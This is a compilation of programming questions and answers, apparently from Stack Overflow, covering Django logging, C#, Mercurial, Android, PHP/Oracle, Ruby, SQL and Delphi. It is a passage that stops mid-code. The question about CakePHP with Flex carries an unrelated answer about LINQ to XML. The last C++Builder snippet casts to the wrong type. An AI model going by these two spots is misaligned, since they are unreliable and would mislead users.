Question:
So, when playing with the development I can just set settings.DEBUG to True and if an error occures I can see it nicely formatted, with good stack trace and request information.

But on kind of production site I'd rather use DEBUG=False and show visitors some standard error 500 page with information that I'm working on fixing this bug at this moment ;)

At the same time I'd like to have some way of logging all those information (stack trace and request info) to a file on my server - so I can just output it to my console and watch errors scroll, email the log to me every hour or something like this.

What logging solutions would you recomend for a django-site, that would meet those simple requirements? I have the application running as fcgi server and I'm using apache web server as frontend (although thinking of going to lighttpd).

Answer:
Well, when
```
DEBUG = False
```
, Django will automatically mail a full traceback of any error to each person listed in the
```
ADMINS
```
setting, which gets you notifications pretty much for free. If you'd like more fine-grained control, you can write and add to your settings a middleware class which defines a method named
```
process_exception()
```
, which will have access to the exception that was raised:
http://docs.djangoproject.com/en/dev/topics/http/middleware/#process-exception
Your
```
process_exception()
```
method can then perform whatever type of logging you'd like: writing to console, writing to a file, etc., etc.
Edit: though it's a bit less useful, you can also listen for the
```
got_request_exception
```
signal, which will be sent whenever an exception is encountered during request processing:
http://docs.djangoproject.com/en/dev/ref/signals/#got-request-exception
This does
not
give you access to the exception object, however, so the middleware method is much easier to work with.


Question:
I want to do some pattern matching on lists in Python. For example, in Haskell, I can do something like the following:

fun (head : rest) = ...

So when I pass in a list, head will be the first element, and rest will be the trailing elements.

Likewise, in Python, I can automatically unpack tuples:

(var1, var2) = func_that_returns_a_tuple()

I want to do something similar with lists in Python. Right now, I have a function that returns a list, and a chunk of code that does the following:

ls = my_func()
(head, rest) = (ls[0], ls[1:])

I wondered if I could somehow do that in one line in Python, instead of two.

Answer:
That's a very much a 'pure functional' approach and as such is a sensible idiom in Haskell but it's probably not so appropriate to Python.  Python only has a very limited concept of
patterns
in this way - and I suspect you might need a somewhat more rigid type system to implement that sort of construct (
erlang
buffs invited to disagree here).
What you have is probably as close as you would get to that idiom, but you are probably better off using a list comprehension or imperative approach rather than recursively calling a function with the tail of the list.
As has been
stated
on a few occasions
before
, Python is not actually a functional language.  It just borrows ideas from the FP world.  It is not inherently
Tail Recursive
in the way you would expect to see embedded in the architecture of a functional language, so you would have some difficulty doing this sort of recursive operation on a large data set without using a lot of stack space.


Question:
I am trying to get the signature on the method below to work. As this is an Anonymous Type I have some trouble, any help would be great.

When I looked at sortedGameList.ToList() in a QuickWatch window I get the signature

System.Collections.Generic.List<<>f__AnonymousType0<System.DateTime,System.Linq.IGrouping<System.DateTime,DC.FootballLeague.Web.Models.Game>>>

Many Thanks

Donald

   public List<IGrouping<DateTime, Game>> getGamesList(int leagueID)
{
    var sortedGameList =
        from g in Games
        group g by g.Date into s
        select new { Date = s.Key, Games = s };

    return sortedGameList.ToList();

}

Answer:
The simple answer is: don't use an anonymous type.
The closest you're going get with that anonymous type is IEnumerable<object>. The problem is, anybody who uses your stuff is not going to know what to do with that object whose type was "unpredictable".
Instead, make a class like:
```
```
public class GamesWithDate {
    public DateTime Date { get; set; }
    public List<Game> Games { get; set; }
}
```
```
And change your LINQ to:
```
```
var sortedGameList =
    from g in Games
    group g by g.Date into s
    select new GamesWithDate { Date = s.Key, Games = s };
```
```
Now you're returning List<GamesWithDate>.


Question:
When the SharePoint application you are working on has unsatisfactory response times how do you pinpoint the causes and in which sequence? So far I have not yet found any open source or commercial profiling tools specific for the SharePoint segment, so any pointer to tools or best practices will be appreciated.

PS. I am aware of the profiling options for the web parts but I am looking for something that covers the entire application.

Answer:
My advice is to look at the following:
Data Layer
Check and see if your database is chugging along, and what requests are taking a lot of time.  90% of everything you see in SharePoint is stored in the database somewhere.  Run SQL Profiler for a few hours and examine your logs.
Site Collections
I have found in SharePoint that the deeper you arrange your sites and site collections, the further that performance degrades.  This is purely anecdotal, so take it with a grain of salt.
Other than that, I don't know of many SharePoint profiling tools.  My experience with SharePoint has pushed my away from heavy customization jobs, and towards using more functionality OOTB.  I rarely recommend using SharePoint as an application platform.
Good Luck!


Question:
Because windows is case-insensitive and because SVN is case-sensitive and because VS2005 tends to rename files giving them the lower-case form which messes my repositories' history, I've tried to add the pre-commit hook script from http://svn.collab.net/repos/svn/trunk/contrib/hook-scripts/case-insensitive.py.
Sure enough, the script uses classes from python's libsvn ("from svn import repos, fs") which I fail to find compiled for Windows.
Is there an alternative? To libsvn or to the hook script?

Answer:
There are two alternative Python bindings for libsvn:
pysvn
.
subvertpy
.
Subvertpy is quite new and is written by the author of
bzr-svn
: the transparent
svn
inter-operation bridge for
bzr
.
For a while, bzr-svn used the upstream
SWIG
Python bindings, and the author contributed a lot of bug fixes. It helped move the upstream python support for "horribly broken" to "painfully aggravating and unpythonic". So after wasting too many hours of his life to SWIG, the author decided to make his own bindings.


Question:
Every time I do an hg diff file.ext I end up using a console diff application. I would like to use Kdiff3 or WinMerge (I'm using Windows).

Is there a way to change that? I can't find a reference in Mercurial documentation (I'm not talking about merge!).

Answer:
I've solved this using a Mercurial built-in extension... I just have to add the following lines to Mercurial.ini (on Mercurial folder):
```
```
[extensions]
hgext.extdiff=

[extdiff]
cmd.vdiff = kdiff3
```
```
When I want to use kdiff3 instead of diff I only have to use:
```
```
hg vdiff file.ext
```
```


Question:
I use jsmin to compress my javascript files before uploading them to production.

Since I tend to have one "code-behind" javascript file per page, I wind up doing this a lot.

I installed a Windows Powertoy that adds a context menu item in Windows Explorer, so I can "Open Command Window Here".  When I click that, the command prompt opens up in the right directory.  That saves a little bit of typing.

However, I still have to type something like:

jsmin <script.js> script.min.js

To get it to work. This is a hassle.

I'd like to create a context menu item that will allow me to right-click on a *.js file and select "jsmin-compress this file." Then jsmin would be invoked, and the original file would be compressed into "original_filename.min.js"

How can I do this?

Answer:
you could drop a link to a batch script into the user sendto directory.  Something like
```
```
jsmin %1 script.min.js
```
```
which is what I usually do


Question:
I have given a location defined by latitude and longitude.
Now i want to calculate a bounding box within e.g. 10 kilometers of that point.

The bounding box should be defined as latmin, lngmin and latmax, lngmax.

I need this stuff in order to use the panoramio API.

Does someone know the formula of how to get thos points?

Edit: Guys i am looking for a formula/function which takes lat & lng as input and returns a bounding box as latmin & lngmin and latmax & latmin.
Mysql, php, c#, javascript is fine but also pseudocode should be okay.

Edit: I am not looking for a solution which shows me the distance of 2 points

Answer:
You're looking for an ellipsoid formula.
The best place I've found to start coding is based on the Geo::Ellipsoid library from CPAN.  It gives you a baseline to create your tests off of and to compare your results with its results.  I used it as the basis for a similar library for PHP at my previous employer.
Geo::Ellipsoid
Take a look at the
```
location
```
method.  Call it twice and you've got your bbox.
You didn't post what language you were using.  There may already be a geocoding library available for you.
Oh, and if you haven't figured it out by now, Google maps uses the WGS84 ellipsoid.


Question: I'm building an Android app and I want to copy the text value of an EditText widget. It's possible for the user to press Menu+A then Menu+C to copy the value, but how would I do this programmatically?

Answer:
Use
```
ClipboardManager#setPrimaryClip
```
method:
```
```
import android.content.ClipboardManager;

// ...

ClipboardManager clipboard = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
ClipData clip = ClipData.newPlainText("label", "Text to copy");
clipboard.setPrimaryClip(clip);
```
```
```
ClipboardManager
```
API reference


Question:
I have a route

// Sample URL: /Fixtures/Team/id
routes.MapRoute(
     "Fixtures-by-TeamID",
     "Fixtures/Team/{teamId}",
     new { controller = "Fixtures", action = "GetByTeamID", },
     new { teamId = @"\d{1,3}" }
);

and I am trying to use ActionLink in ASP.net MVC p5.

<%= Html.ActionLink(g.HomeTeam.TeamName, "Team", new { teamId = g.HomeTeam.TeamID })%>

However it is not working and giving me

<a href="/Fixtures/Team?teamId=118">Team A</a>

If I use Url.RouteUrl i get the correct link.

<a href="<%=Url.RouteUrl("Fixtures-by-TeamID", new { teamId = g.HomeTeam.TeamID })%>"><%=g.HomeTeam.TeamName%></a>

<a href="/Fixtures/Team/118">Team A</a>

Any help would be great? Will this change in ASP.net MVC beta?

Thanks

Donald

Answer:
In my experience, the only time action routes really work properly is when you only have the single default route. As soon as you start adding custom routes like yours above, action routes become... I guess "finicky" is the right word. The matching system doesn't work exactly how you'd expect it to.
In this case, you said the action was "Team", but this route doesn't match an action of "Team", it only matches "GetTeamByID". So the routing system keeps going and ends up giving you a route based on the default route. The teamId isn't explicitly part of your default route, so it ends up as a query parameter tacked on the end.
MVC Beta has already shipped, and this behavior is unchanged.
Also, don't you find the named route to be clearer anyway? Personally, I do.
I even go one step further and actually create route helpers for all my custom routes, which might look like this in your current example:
```
```
<a href="<%= Url.FixturesByTeam(g.HomeTeam.TeamID) %>"><%= g.HomeTeam.TeamName %>
```
```
Or even:
```
```
<%= Html.LinkToFixturesByTeam(g.HomeTeam) %>
```
```
where you can pull the values for name and ID directly from the model.


Question:
I'm hosting my first WCF service in IIS. I have two methods, 1 to set a string variable on the WCF Service, and the other to retrieve it. The interface used is:

[OperationContract]
string ReturnText();

[OperationContract]
void SetText(string s);

BasicHttpBinding is used. Stepping through the service with the debugger from the client reveals that the value of the string is set correctly using SetText, but when I immediately do a return text, the string is back to null.

Probably a simple one I know, but I thought that all values on the WCF service were retained between opening the service connection and closing it.

Why is the value lost between the Set and Gets?

Answer:
By default things are session-less and instances are per-call.  See
http://msdn.microsoft.com/en-us/library/ms731193.aspx
for some starter information, but in order to have state across the calls, you'll either need a PerSession or Single instancing mode on the server, and in the former case, configure the binding to support sessions (so that the two calls can be correlated as a result of being a part of the same session connection).


Question:
Here are my current options.

.Net : Using WPF, Visual C#, SQLServer

Java : Using Spring, Hibernate, Enterprise DB, web-based

Can you suggest which one is better?, especially with regards to building complex forms.

Answer:
Wow, .NET vs. Java, can't wait to see how this turns out  ;-)
.NET might have the edge here with WPF and click-once deployment.  WPF is in its second version and is showing itself to be quite powerful and easy to use.  It provides excellent separation between logic and presentation (in XAML).  Personally, I would much prefer a Windows application to web deployment because the programming model is so much more powerful and versatile (and better suited for complex forms).
I won't try to represent the Java viewpoint here, but Windows forms development in Java does not have a great reputation.  Perhaps its unwarranted, I'd be interested to hear what Java programmers have to say. (UPDATE -- Swing is the technology I'm referring to here)
To some extent, this is a false choice, because those other technologies you list (Spring, Hibernate) are also available on the .NET stack (Spring.Net and NHibernate) and are quite mature.  Most popular Java open source technologies have been ported to the .NET stack.


Question:
I think I know the answer, but I would like to bounce around some ideas.

I would like to pass several (in this instance 2) somewhat different pieces of data to a View.  My initial thought is simply to wrap-up the various objects into a containing object and pass them along that way. Then from the View, I'd have something like

var objContainer = ViewData.Model;
var thisObject = objContainer.ThisObject;
var thatObject = objContainer.ThatObject;

and these could be used independently in the Master Page and View Page.

Is that the "best" way?

Answer:
I've got the same dealie going on.  Here's my solution (may not be the best practice, but it works for me).
I created a number of "Grouping" classes:
```
```
public class Duo<TFirst,TSecond> { /*...*/ }
public class Trio<TFirst,TSecond, TThird> { /*...*/ }
```
```
and a factory object to create them (to take advantage of type inference... some of the TFirsts and TSeconds and TThirds can be LONG)
```
```
public static class Group{

public static Duo<TFirst, TSecond> Duo(TFirst first, TSecond second) {
  return new Duo<TFirst, TSecond>(first, second);
 }
/*...*/
}
```
```
It gives me type safety and intellisense with a minimum of fuss.  It just smells because you're grouping together classes that essentially have no real relation between them into a single object.  I suppose it might be better to extend the ViewPage class to add a second and third ViewModel, but the way I did it takes lots less work.


Question: I'm trying to set up Eclipse for php web development.  What I would like to do is preview a php web page from within Eclipse, but I cannot figure out how to do this.  Is there an integrated web server of some sort that allows this, or do I have to set up IIS/Apache to do it?  If so, do I have to have my php files in the web servers path, or does Eclipse auto deploy the files to the local web server?  Any information or links would be very much appreciated.

Answer:
There is a plugin for Eclipse called PDT which makes PHP development a breeze.
For an overview on how to install it, you can refer to the Eclipse website:
http://wiki.eclipse.org/PDT/Installation#Eclipse_3.4_.2F_Ganymede_.2F_PDT_2.0
To actually view the PHP scripts running, I would imagine that you'd have to have some sort of server already installed and running. You could probably set the workspace location to be in the server path, and then view the files through localhost. But maybe the PDT package takes care of some of that for you.


Question:
I want to make a really simple iphone app:  one screen with a single button... when the button is tapped a new screen appears.  That's it.  No animations, nothing,

I've tried endlessly to make the NavBar sample project do this... and it works but only if I use a UINavigationController with a table that I can tap etc.  I've tried all the skeleton projects in XCode too.

I thought I was done when I did this:

[[self navigationController] presentModalViewController:myViewController animated:YES];

But I couldn't do it without the UINavigationController.  I just want a simple example.

Thanks so much!

Answer:
One way you could do this is to create a new UIView and then when the button is pressed add that new UIVIew as a subview, therefore making it what you see.
If you make the new view its own subclass of UIView you would do something like this.
```
```
LoginView *login = [[LoginView alloc] initWithFrame: rect];
[mainView addSubview: login];
```
```


Question:
I have intermittent crashes occurring in my ActiveMQ libraries due to the way I'm using the activemq-cpp API.  It'd be much easier to debug the issue if I could observe every function being called leading up to the crash.  Are there any quick ways to trace the entry and exit of functions in a Visual Studio 2005 c++ multithreaded program?

Thanks in advance!

Answer:
Use a Tracer object.  Something like this:
```
```
class Tracer
{
public:
  Tracer(const char *functionName) : functionName_(functionName)
  {
    cout << "Entering function " << functionName_ << endl;
  }

  ~Tracer()
  {
    cout << "Exiting function " << functionName_ << endl;
  }

  const char *functionName_;
};
```
```
Now you can simply instantiate a Tracer object at the top the function, and it will automatically print "exiting... " when the function exits and the destructor is called:
```
```
void foo()
{
  Tracer t("foo");
   ...
}
```
```


Question:
I've been running the built-in Ant from the command line on a Macintosh (10.5.5) and have run into some trouble with the Mail task. Running the Mail task produces the following message:

[mail] Failed to initialise MIME mail: org.apache.tools.ant.taskdefs.email.MimeMailer

This is most likely due to a missing ant-javamail.jar file in the /usr/share/ant/lib directory. I see a "ant-javamail-1.7.0.pom" file in this directory but not the appropriate jar file. Anyone know why this jar file might be missing and what the best way to resolve the problem is?

Answer:
Download the Java Mail libraries from:
http://java.sun.com/products/javamail/
.
You will also need
http://java.sun.com/products/javabeans/glasgow/jaf.html
A list of all external dependencies required by Ant's optional tasks are outlined here
http://ant.apache.org/manual/index.html
.
Another way to get dependencies for Ant very easily, is to run:
```
```
ant -f fetch all
```
```
from $ANT_HOME. You can also run -projecthelp for a full list of targets:
```
```
all         load all the libraries
 antlr       load antlr libraries
 bcel        load bcel libraries
 beanshell   load beanshell support
 bsf         load bsf libraries
 debugging   internal ant debugging
 get-m2      Download the Maven2 Ant tasks
 jdepend     load jdepend libraries
 jruby       load jruby
 junit       load junit libraries
 jython      load jython
 logging     load logging libraries
 networking  load networking libraries (commons-net; jsch)
 regexp      load regexp libraries
 rhino       load rhino
 script      load script languages
 xerces      load an updated version of Xerces
 xml         load full XML libraries (xalan, resolver)
```
```


Question:
I would like to be able to fetch a web page's html and save it to a String, so I can do some processing on it.  Also, how could I handle various types of compression.

How would I go about doing that using Java?

Answer:
Well, you could go with the built-in libraries such as
URL
and
URLConnection
, but they don't give very much control.
Personally I'd go with the
Apache HTTPClient
library.
Edit:
HTTPClient has been set to
end of life
by Apache. The replacement is:
HTTP Components


Question:
How do I get the value of a MemberInfo object? .Name returns the name of the variable, but I need the value.

I think you can do this with FieldInfo but I don't have a snippet, if you know how to do this can you provide a snippet??

Thanks!

Answer:
Here's an example for fields, using
FieldInfo.GetValue
:
```
```
using System;
using System.Reflection;

public class Test
{
    // public just for the sake of a short example.
    public int x;

    static void Main()
    {
        FieldInfo field = typeof(Test).GetField("x");
        Test t = new Test();
        t.x = 10;

        Console.WriteLine(field.GetValue(t));
    }
}
```
```
Similar code will work for properties using
PropertyInfo.GetValue()
- although there you also need to pass the values for any parameters to the properties. (There won't be any for "normal" C# properties, but C# indexers count as properties too as far as the framework is concerned.) For methods, you'll need to call
Invoke
if you want to call the method and use the return value.


Question:
How can I find out the size of a file I opened with an application written in C ?
I would like to know the size, because I want to put the content of the loaded file into a string, which I allocate using malloc(). Just writing malloc(10000*sizeof(char)); is IMHO a bad idea.

Answer:
You need to seek to the end of the file and then ask for the position:
```
```
fseek(fp, 0L, SEEK_END);
sz = ftell(fp);
```
```
You can then seek back, e.g.:
```
```
fseek(fp, 0L, SEEK_SET);
```
```
or (if seeking to go to the beginning)
```
```
rewind(fp);
```
```


Question:
I'm using TortoiseHg 0.5 (which includes Mercurial 1.0.2) on Vista64. My understanding from the Mercurial Book is that Mercurial should handle filenames in a case-insensitive manner on a case-insensitive filesystem (such as NTFS, which is what I'm on). However I find that my installation of Mercurial is in fact sensitive to case:

>hg status -A foo
C foo
>hg status -A FOO
? FOO

Could this be a bug in Mercurial, a bug in the TortoiseHg build of Mercurial, or is it something else? How can I achieve case-insensitive filename handling from Mercurial on Windows?

Answer:
I think you misread the hgbook.  The intro to section 7.7 is just describing the three different types of case sensitivity that exist in OSs, not saying that mercurial will mirror those semantics.
Later in section 7.7.2 'Detecting case conflicts' it says:
When operating in the working
  directory, Mercurial honours the
  naming policy of the filesystem where
  the working directory is located. If
  the filesystem is case preserving, but
  insensitive, Mercurial will treat
  names that differ only in case as the
  same.
When you do
```
hg status -A FOO
```
the process that's happening within mercurial is:
Check if a file exists on the file system matching the file argument, 'FOO', -- and at this point it's being case insensitive so it finds 'foo' and says "yup, I've got a file"
Check if there's an entry in the file manifest matching the file argument, 'FOO', and there isn't, so status shows a '?' saying it's a file on disk that hg isn't tracking
To better see mercurial not caring about case on NTFS try these steps:
hg init
echo line > Foo
hg add Foo
hg commit -m 'committed Foo'
move Foo not-foo
move not-foo FOO
hg status
and you should see hg saying that nothing has changed because the only thing that has changed is the case which hg is ignoring for you.
When I do the same thing on linux I instead see:
```
```
! Foo
? FOO
```
```


Question: I have a subclass "s" of UIView.  I want to put some buttons and labels on s.  How do I associate my UIView subclass with a nib file?

Answer:
In Interface Builder, create a new
xib with the View template.
Click on the view in the list of
objects in the xib (you should also
see "File's Owner and "First
Responder").
Push Cmd-4 to open the Identity pane
of the inspector.
Type your class's name into the
"Class Name" field and push return.
You should be able the drag buttons in. To get at the nib from code, use
```
-[NSBundle loadNibNamed:owner:options:]
```
. Your view should be the first object in the returned array.


Question:
I want to skin a vb.net app I made ive googled some stuff and I've seen skinned vb.net apps.

However it seems like any time i try to find someone explaining it its a link to  a pay for product.

Does anyone have anything useful on this?

I have seen some free ways to do this programatically I cannot seem to make it translate entirely over to my own unique program.

Answer:
Unfortunatly VB.NET does not provide 'skinning' out of the box. It simply uses the standard windows interface. The only changes to the UI are made when you change the display properties.
I'm not aware of an open source project that provides skinning functionality, however I have used a number of commercial products. By far, one of the best I have used is the Application Styling Framework found in
NET Advantage
by Infragistics.


Question:
When you attempt to declare an unsigned variable in C#.NET with a value outside its value range it is flagged as a compiler error, but if you produce a negative value at runtime and assign it to that variable at runtime the value wraps.

uint z = -1; // Will not compile

uint a = 5;
uint b = 6;
uint c = a - b; // Will result in uint.MaxValue

Is there a good reason why unsigned variables wrap in such a situation instead of throwing an exception?

Thanks.

Answer:
Declaring an unassigned variable in C# isn't flagged with an error - trying to assign an invalid value to a variable is. For instance, here's a variable which isn't definitely assigned (assuming it's local) after declaration:
```
```
uint z;
```
```
-1 isn't a valid value for a uint any more than 0.5 is, which is why your example wouldn't compile.
Now, as for the rest: integers types just wrap on overflow - just as adding 1 to
```
int.MaxValue
```
returns
```
int.MinValue
```
. This is a significant performance improvement over having the program check each operation for overflow - at the cost of potentially not spotting an error.
That's only if you're in an unchecked context, mind you - if you perform any of these operations in a checked context, you'll get an exception instead. For instance;
```
```
class Test
{
    static void Main()
    {
        checked
        {
            uint a = 5;
            uint b = 6;
            uint c = a - b;
        }
    }
}
```
```
Run that and you'll see an
```
OverflowException
```
get thrown. If that's what you want for your whole project, you can set it in the project properties (or compile with the
```
/checked+
```
command line option to
```
csc
```
.)
EDIT: It's worth noting that the other answers have shown that you could put smaller amounts of code in the checked context - just the declaration and assignment of
```
c
```
or even just the calculation. It's all pretty flexible.


Question: Is there a mechanism to inject dependencies into Linq to Sql or entity framework entities? If so would it be a sensible approach?

Answer:
What exactly are you after? Note that you can use LINQ-to-SQL without the attributes, if you want to use existing classes... you need to use an
external xml file
to hold the mappings, and an
```
XmlMappingSource
```
.
Note that this won't work with Entity Framework; only LINQ-to-SQL.


Question:
I have a Ruby DateTime which gets filled from a form. Additionally I have n hours from the form as well. I'd like to subtract those n hours from the previous DateTime. (To get a time range).

DateTime has two methods "-" and "<<" to subtract day and month, but not hour. (API). Any suggestions how I can do that?

Answer:
If you are working in
Rails
, the following super-intutive possibility exists:
```
```
> Time.now - 12.hours
=> 2019-08-19 05:50:43 +0200
```
```
(This also works with
seconds
,
minutes
,
days
, and
years
)
if you're using just Ruby,
```
DateTime
```
can't do this, but
```
Time
```
can:
```
```
t = Time.now
t = t - (hours*60**2)
```
```
Note that
```
Time
```
also stores date information, it's all a little strange.
If you have to work with
```
DateTime
```
```
```
DateTime.commercial(date.year,date.month,date.day,date.hour-x,date.minute,date.second)
```
```
might work, but is ugly. The doc says
```
DateTime
```
is immutable, so I'm not even sure about
```
-
```
and
```
<<
```


Question:
I need advice for rendering an undirected graph with 178,000 nodes and 500,000 edges.  I've tried Neato, Tulip, and Cytoscape.  Neato doesn't even come remotely close, and Tulip and Cytoscape claim they can handle it but don't seem to be able to.  (Tulip does nothing and Cytoscape claims to be working, and then just stops.)

I'd just like a vector format file (ps or pdf) with a remotely reasonable layout of the nodes.

Answer:
Mathematica could very likely handle it, but I have to admit my first reaction was along the lines of the comment that said "take a piece of paper and color it black." Is there no way to reduce the density of the graph?
A possible issue is that you seem to be looking for layout, not just rendering. I have no knowledge about the Big O characteristics of the layouts implemented by various tools, but intuitively I would guess that it might take a
long
time to lay out that much data.


Question:
I want to "remove" a UIView from a superview and add it again at the end... but at the "bottom" of the rest of the UIviews that belong to the superview.

Is this possible?

Any help is very appreciated!

Answer:
Hmmm...
```
```
- (void)insertSubview:(UIView *)view atIndex:(NSInteger)index;
```
```
Might be what you're after?  Alternatively -
```
```
- (void)insertSubview:(UIView *)view belowSubview:(UIView *)siblingSubview;
```
```
Though you could avoid removing the view all together (if you don't need to for any other reason) by calling sendSubviewToBack: -
```
```
- (void)sendSubviewToBack:(UIView *)view;
```
```


Question:
My application is logically divided into server, which contain my Grails domain objects and controllers; and client, where I have my Ext GWT classes that build all the UI pages.

For UI requests, I am using an AJAX call to a controller method that returns, for instance, a list of domain objects as a JSON structure.

Following the DRY principle, I wouldn't like to "serialize" the domain data to a JSON string on the server then de-serialize it on the client to another structure - I'd like to take advantage of the Domain object I already have, this I don't have to change multiple places when I add, change or remove a new field.

Question is: is that a good way to go?

If yes, how would be the best way to make .groovy domain objects available on the "client-side" Ext GWT Java classes?

If no, why is it bad and what would you advice instead?

Answer:
There isnt a good way - you need a java object that is GWT serializable. The only real solution that I can see is to write a plugin (or add to the GWT plugin) a way to autogenerate the data transfer object, perhaps using annotations in a grails domain object.
A similar method is being used to autogenerate the RPCAsync interfaces in the gwt plugin - see GwtGrailsPlugin.groovy in the gwt plugin directory, line 133 or so is the start.
You could hook into that (or just modify that file directly, probably easier) and insert some code to generate the data transfer files. An added benefit could be that you could granularize the data transfer object so that private data (like passwords!) dont get transferred.


Question: We have a 3D application that retrieves keyboard presses via the IDirectInputDevice8. Is there any way, when we retrive keyboard events via the win32 API winproc loop back that we can send these commands to the DirectInputDevice?

Answer:
The wndproc will is sent a combination of these messages on keyboard events:
```
```
WM_SYSKEYDOWN
WM_SYSKEYUP
WM_KEYDOWN
WM_KEYUP
WM_CHAR
```
```


Question:
I have the requirement of generating UML Diagrams for one of my C++ assignments. I'm using Visio 2007 and I'm having trouble representing C++ vectors. The only way I can see this working is creating a custom C++ datatype or creating a vector class in my project, then for each instance of a vector in the UML, I need to dig into the properties and add <Class> into the suffix field.

Basically I'm trying to get vector<Object> without digging into the properties and adding <Class> to the suffix field every time.

I'm pretty much stuck with Microsoft software for making diagrams and coding so please don't suggest I use different software. However, if Visual Studio 2003 supports making UML Diagrams in a less painful way than Visio, I wouldn't object to using Visual Studio but please tell me where that option is.

Answer:
You don't need to stipulate that it's a vector on the UML diagram.
In the example you're giving, there is a one-to-many relationship between one class and another. That's the significant information you need to communicate.
You've chosen to implement this as a vector: this is an implementation detail that doesn't need to go on the diagram - just display a one-to-many association.
If, for some reason, you need to change this to a std::list, or a std::deque, or any other stl container, you won't need to update the diagram, because the one-to-many concept is still the same.
Remember that you are displaying an
abstraction
of the code.  If you want to convey how all the classes conceptually relate to eachother, a UML class diagram is ideal.
If somebody wants to know the details of how it's implemented, he or she can always use the diagram as a starting point before looking at the source code itself.
For an example of one-to-many relationships displayed using UML, click
here


Question:
I have a query:

UPDATE choices SET votes = votes + 1 WHERE choice_id = '$user_choice'

But when I execute it in my script, the votes field is updated twice, so the votes will go from 4 to 6 instead to 5. It doesn't seem that it is getting called twice because I echo out stuff to test this and only get one echo. Is there a way to have it so PHP will only execute this query once per page "refresh"?

EDIT: Thanks for the responses, I'm using regular MySQL, no MySQLi or PDO. Another thing I found is that when doing the query, it works when you start out with 0 and update to 1, but then after that it goes 3, 5, 7, ...

Answer:
There are several SQL interfaces for many different brands of database in PHP.  You haven't shown the PHP code you use to execute the query, nor have you identified which brand of database you use.
In some SQL interfaces in PHP, creating the statement implicitly executes the SQL.  Then you have the opportunity to fetch results (if it was a SELECT statement).  If your statement was a SELECT or DELETE, it's likely that no harm was done, though it's unnecessary to execute the statement twice.  If your statement was an INSERT or UPDATE, though, you may find it has taken effect twice.
For example, using PDO:
```
```
$pdo = new PDO(...options...);
$stmt = $pdo->query('UPDATE ...'); // executes once
$stmt->execute(); // executes a second time
```
```


Question: I'm looking at a new project and we are wanting to use Flex (to provide the easy integration with AIR and provide a desktop app for our project). How easy does CakePHP play with Flex or is there a better PHP framework to use with Flex, or should we use none?

Answer:
If LINQ is in your toolbox, I would highly recommend using that to read/write xml as opposed to a DataTable.  It's much more fluent and intuitive and you can control where the nodes go...  wherever you add them to the collection is where they appear in the resulting XML.
Here's a quick intro and there's a metric ton of information out there on the web about it if you search a bit:
http://www.hookedonlinq.com/LINQtoXML5MinuteOverview.ashx


Question: What's a simple/easy way to access the system clock using Java, so that I can calculate the elapsed time of an event?

Answer:
```
java.lang.System.currentTimeMillis()
```
or
```
java.lang.System.nanoTime()
```
ought to work to measure elapsed time.


Question:
If this is possible, please provide a sample query or two so I can see how it would work.  Both tables will be in the same database.

Thanks!

Answer:
Pseudo code:
```
```
insert into <target-table>
( <column-list> )
select <columns>
  from <source-table>
```
```


Question:
On the latest Ubuntu, I have a functioning PHP 5.2.4 installation.  I want to use a remote Oracle server from PHP using OCI.

I've downloaded the "Instant Client Package - Basic Lite" (Link). I've unzipped the package containing the OCI libraries to a dir but I have no idea how to tell PHP that I want to use these libraries. Predictably, I get

Fatal error: Call to undefined function oci_connect() in...

when running this code:

<?php
   $conn = oci_connect('hr', 'hrpw', 'someremotehost');
?>

I don't want to recompile PHP with Oracle support.  What's the fastest way to wire up PHP so that I can use Oracle?  Do I need any other libaries, like the Oracle client if I want to connect to a remote Oracle instance?

Answer:
You need the PHP extension, try the following on your Ubuntu:
```
```
(sudo) pecl install oci8
```
```
Make sure your php.ini's (there should be one for your Apache and one for cli php) contain
```
extension=oci8.so
```
afterwards. Finally, you have to restart Apache and can confirm via
```
<?php phpinfo(); ?>
```
that the extension is loaded.
UPDATE:
Enter something like this when it asks you for ORACLE_HOME:
instantclient,/opt/oracle/instantclient
I think setting the environment variable would be another solution. /opt/oracle... is the path I put my instantclient in. I followed some tutorial a while ago, unfortunately I can't find it anmore.
HTH


Question: How do i take a HTML site that currently has no doctype declaration and make it W3C compliant?

Answer:
First of all: think about
why
you need to make it W3C compliant. If it's just for the little badge, then it's not worth it.
If you do have a good reason (and there are plenty), then this is what I'd do:
Start by choosing a doctype. From the sound of it, HTML 4.0 might be the way to go. Run your page through a validator and then look at the error report it gives you. Go through it one by one, fixing each error. Usually the error report will tell you a good deal of information about how to solve each problem and give you the relevant links to the specification.


Question:
I began an iPhone project the other day with a silly development code name, and now I want to change the name of the project since it's nearly finished.

But I'm not sure how to do this with Xcode, trying the obvious of changing the application's name in the info.plist file, causes the signing process to go wrong (I think...) and my app won't launch giving me a Launcher error.

I guess I could make a new project and copy paste everything over, but it seems so primitive that I'm hoping for a more civilized solution.

Answer:
Go to
```
Targets
```
in
```
Xcode
```
.
```
Build Settings
```
on your project's target (your current development name).
Search for
```
Product Name
```
under
```
Packaging
```
. Change its value to what you want your new project name to be.


Question:
I've never had a reason to put a label element inside of a legend element (never really thought about it or seen it done). But with the design I'm implementing, it's tempting to do so.

Here's what I'm tempted to do:

<fieldset>
<legend><label for="formInfo">I would like information on</label></legend>
<select id="formInfo">
    <option value="Cats">Cats</option>
    <option value="Dogs">Dogs</option>
    <option value="Lolz">Lolz</option>
</select>
</fieldset>

It works as expected (clicking the label focuses the corresponding input) in Firefox3, Safari, Opera, and IE6/7 and it passes validation, but I'm just wondering if there are any known reasons (accessibility? semantics? browser issues) why this shouldn't be done

Answer:
well, the label element itself seems fine - it's the description of the "formInfo" element, so that's no worries. Semantically, however, what's this saying about the
```
legend
```
element? It's supposed to be a caption for the entire fieldset....


Question:
Is there a simple way to duplicate all child components under parent component, including their published properties?

For example:

TPanel

TLabel

TEdit

TListView

TSpecialClassX

Of course the most important factor, it should duplicate any new component which I drop on the TPanel without modifying the code under normal circumstances.

I've heard of the RTTI, but never used it actually. Any ideas?

Answer:
It's actually fairly easy to duplicate existing components at runtime.  The difficult part is to copy all of their published properties to the new (duplicated) objects.
I'm sorry, but my code example is in C++Builder.  The VCL is the same, just a different language.  It shouldn't be too much trouble to translate it Delphi:
```
```
for (i = 0; i < ComponentCount; ++i) {
    TControl *Comp = dynamic_cast<TControl *>(Components[i]);
    if (Comp) {
        if (Comp->ClassNameIs("TLabel")) {
            TLabel *OldLabel = dynamic_cast<TDBEdit *>(Components[i]);
            TLabel *NewLabel = new TLabel(this);  // new label
            // copy properties from old to new
            NewLabel->Top = OldLabel->Top;
            NewLabel->Left = OldLabel->Left;
